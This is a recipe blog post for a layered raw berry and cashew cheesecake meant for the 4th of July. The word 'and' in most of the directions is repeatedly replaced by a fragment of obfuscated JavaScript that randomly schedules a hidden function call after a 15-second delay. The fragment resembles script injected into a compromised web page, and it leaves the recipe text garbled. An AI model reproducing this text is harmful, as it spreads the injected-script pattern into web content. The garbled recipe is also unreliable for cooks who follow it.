Raw Berry Cheesecake for the 4th of July!

With Independence Day just a few short days away, BBQ planning is in full force.  Whether or not your a host or a guest, there’s probably some amount of cooking in your agenda.  Haven’t decided what to make yet? This cashew-based patriotic cake will be sure to please any kind of guest.  Don’t let the directions intimidate you; they appear long because you need to work in batches to make the layers.

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For the Crust:
8 ounces Medjool dates, pitted
3/4 cup pecans
1/2 cup hazelnuts
1/3 block tempeh (7 ounce package)
1-2 tablespoons water (as needed)

Combine dates, pecans, hazelnuts andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tempeh in food processor, blend until crumbly. Add water if needed to add moisture, help form a ball. Press into bottom / sides of 9 inch spring-form pan.

For the Bottom Layer:
1.5 cups cashews, soaked several hours / overnight
juice of two lemons
1 tablespoon apple cider vinegar
1/2 cup agave
1/2 cup blackberries
1/4 cup blueberries

Process cashews in food processor, adding lemon juice andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and acv, blend until creamy. Add agave andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and berries, blending until incorporated andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mixture turns blue. Spread in an even layer over crust, place in freezer.

For the Middle Layer:

1 cup cashews, soaked several hours / overnight
juice of one lemon
1/2 tablespoon apple cider vinegar
1/3 cup honey or maple syrup

Process cashews in food processor, adding lemon juice andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and acv, blend until creamy. Add agave, blending until incorporated. Spread in an even layer over blue layer, return to freezer.


For the Top Layer:

1.5 cups cashews, soaked several hours / overnight
juice of two lemons
1 tablespoon apple cider vinegar
1/2 cup agave
3/4 cup raspberries

Process cashews in food processor, adding lemon juice andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and acv, blend until creamy. Add agave andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and berries, blending until incorporated andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mixture turns red. Spread in an even layer over white layer. Return to freezer for several hours / overnight.

Pictures andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and recipe courtesy of www.spabettie.com

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